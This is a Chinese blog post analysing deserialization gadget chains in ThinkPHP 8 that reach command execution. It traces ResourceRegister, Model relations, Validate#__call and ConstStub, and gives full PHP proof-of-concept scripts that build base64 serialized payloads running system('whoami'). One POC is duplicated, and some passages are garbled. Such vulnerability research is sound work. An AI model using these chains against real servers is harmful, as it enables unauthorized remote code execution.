thinkphp8反序列化分析

thinkphp8反序列化

前言

摆了一个暑假,正好看见周会有人分析了tp反序列化,想起这条链子的发现者就是我尊敬的nivia,这不得好好分析一下,而且师傅也是分析了这个,所以有了这个文章

链子一 __call触发

分析

相比于我们的6来说,原来我们都是通过save方法来作为入口的,但是8直接将整个类的destruct方法都被删除掉了

这里我们使用6的宁一个类

ResourceRegister#__destruct

我们的目的是触发call方法,所以可以寻找可能触发call的地方,并且参数可以控制

think\Validate#__call

public function __call($method, $args)
{
    if ('is' == strtolower(substr($method, 0, 2))) {
        $method = substr($method, 2);
    }

    array_push($args, lcfirst($method));

    return call_user_func_array([$this, 'is'], $args);
}

这里解释一下call_user_func_array([$this, ‘is’], $args);这个意思

  • [$this, 'is']:这部分表示回调是一个对象方法,$this 是当前对象的引用,'is' 是对象中名为 is 的方法。这相当于 $this->is()
  • $args:这是一个参数数组,它将被解包并传递给 is 方法。

我们看看is方法的重点部分

public function is($value, string $rule, array $data = []): bool
    {
        $call = function ($value, $rule) {
            if (isset($this->type[$rule])) {
                // 注册的验证规则
                $result = call_user_func_array($this->type[$rule], [$value]);

至于参数怎么控制的,分析完调用链再来研究

回到我们入口它调用了register方法

protected function register()
{
    $this->registered = true;
    
    $this->resource->parseGroupRule($this->resource->getRule());
}

可以看到其实这里就有触发

但是参数是不一样的,我们看到call是需要传入两个参数的

而getRule只是返回一个参数

public function getRule()
    {
        return $this->rule;
    }

继续往下来,进入parseGroupRule方法

image-20240812195052129

随便一看,是存在大量的字符串拼接的,是可以触发我们的Tostring的

因为传入参数都是tostring后该考虑的事,这里我们不需要过多关心参数对后面的影响,只需要能够触发tostring就好了

首先一眼看下去是

$rule = implode('/', $item) . '/' . $last;

这里控制last的值更好触发,但是last的来源是

$array = explode('.', $rule);
$last  = array_pop($array);
$item  = [];

注定了我们的last只能为一个字符串,因为是从我们的rule里面用点分割的,所以不能为一个实例化对象,我们使用

$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';

这个什么意思呢,问下gpt就懂了

  • foreach ($array as $val):这表示对于数组 $array 中的每个元素,将其值赋给变量 $val ,然后执行循环体中的代码。
  • $item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>:在每次循环中,创建一个新的元素并添加到数组 $item 中。这个新元素是由当前的 $val 值,加上 /< ,再加上 $option['var'][$val] 的值(如果存在),如果 $option['var'][$val] 不存在,则使用 $val. '_id' ,最后加上 > 组成。

以下是一个示例:

<?php
$array = ['item1', 'item2', 'item3'];
$option = [
    'var' => [
        'item1' => 'value1',
        'item3' => 'value3'
    ]
];

$item = [];
foreach ($array as $val) {
    $item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>';
}

print_r($item);
?>

在上述示例中,最终 $item 数组的内容将是

Array
(
    [0] => item1/<'value1'>
    [1] => item2/<'item2_id'>
    [2] => item3/<'value3'>
)

首先控制我们的$option['var'][$val]为我们的实例化对象,然后确保 o p t i o n [ ′ v a r ′ ] 值为 option['var']值为 option[var]值为val的键值,并且键值的值是我们的实例化对象

像这样

$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];

这样$val是1,然后返回1的值就是我们的对象

就成功到了我们的老tostring了

但是这里我们走call

继续看

但是我们走的是image-20240812201607666

倒着分析

看到getRelationWith方法

protected function getRelationWith(string $key, array $hidden, array $visible)
    {
        $relation = $this->getRelation($key, true);
        if ($relation) {
            if (isset($visible[$key])) {
                $relation->visible($visible[$key]);
            } elseif (isset($hidden[$key])) {
                $relation->hidden($hidden[$key]);
            }
        }
        return $relation;
    }

如果要触发call方法,那么$relation必须可以控制

跟进getRelation方法

public function getRelation(string $name = null, bool $auto = false)
    {
        if (is_null($name)) {
            return $this->relation;
        }

        if (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        } elseif ($auto) {
            $relation = Str::camel($name);

            return $this->getRelationValue($relation);
        }
    }

第一个是我们的name为null,name就是传入的call的参数,是不可以为null的,我们看第二个

只需要name存在这个键就好了

溯源到name是

foreach ($this->append as $key => $name) {
            $this->appendAttrToArray($item, $key, $name, $visible, $hidden);
        }

来自于append,所以这样

https://www.aiwin.fun/index.php/archives/4422/#cl-1

 $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()];

只要这两个的键一样,现在就是控制传过去的call参数了

传入的是 v i s i b l e [ visible[ visible[key]作为方法名,visible是可以控制的

但是有个问题就是

image-20240812202948064

我们的val是不能为String的,那我们要怎么传入方法参数呢

可以使用数组,但是倒着一个问题

在命令执行的地方

$result = call_user_func_array($this->type[$rule], [$value]);

我们的方法只能接收一个数组参数,而且能够执行命令

根据nivia的想法

本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化

所以放弃,这里想到的办法是

如果$value是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString方法,返回一个值,因此只需要找一个类的__toString方法直接返回一个值,并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类,这里可以通过构造方法控制value,从而达到上面的效果。

POC

<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}

namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
    public $value="whoami";

}

namespace think;


use Symfony\Component\VarDumper\Caster\ConstStub;

class Validate{
    protected $type;
    public function __construct(){
        $this->type=["visible"=>"system"];
    }

}

abstract class Model{
    protected $append=["a"=>"1.1"];
    private $relation;
    protected $visible;
    public function __construct(){
        $this->relation=["1"=>new Validate()];
        $this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
    }
}

namespace think\model;

use think\Model;
class Pivot extends Model{
}

namespace think\route;


use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option =["var" => ["1" => new \think\model\Pivot()]];
    }
}


class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

细节部分

触发tostring

上面写着有,可以去看

搜索“进入parseGroupRule方法”

不能为string,怎么办

也是有的

搜索“但是有个问题就是”、

这个就是刚刚的前部分触发tostring和tp6的后半部分触发动态方法调用那里

POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['a'=>['a'=>'whoami']];
    private $withAttr=['a'=>['a'=>'system']];
    protected $json=["a"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

链子二 getjsonvalue动态方法调用

这个就是触发Tostring的前部分加tp6的后部分

POC

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['a'=>['a'=>'whoami']];
    private $withAttr=['a'=>['a'=>'system']];
    protected $json=["a"];
    protected $jsonAssoc = true;
}


namespace think;

abstract class Model{
    use model\concern\Attribute;
}

namespace think\model;

use think\Model;
class Pivot extends Model{}

namespace think\route;

class Resource {
    public function __construct()
    {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}
class ResourceRegister
{
    protected $resource;
    public function __construct()
    {
        $this->resource = new Resource();
    }
    public function __destruct()
    {
        $this->register();
    }
    protected function register()
    {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));

参考

https://www.aiwin.fun/index.php/archives/4422/#

https://xz.aliyun.com/t/14904#toc-5

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值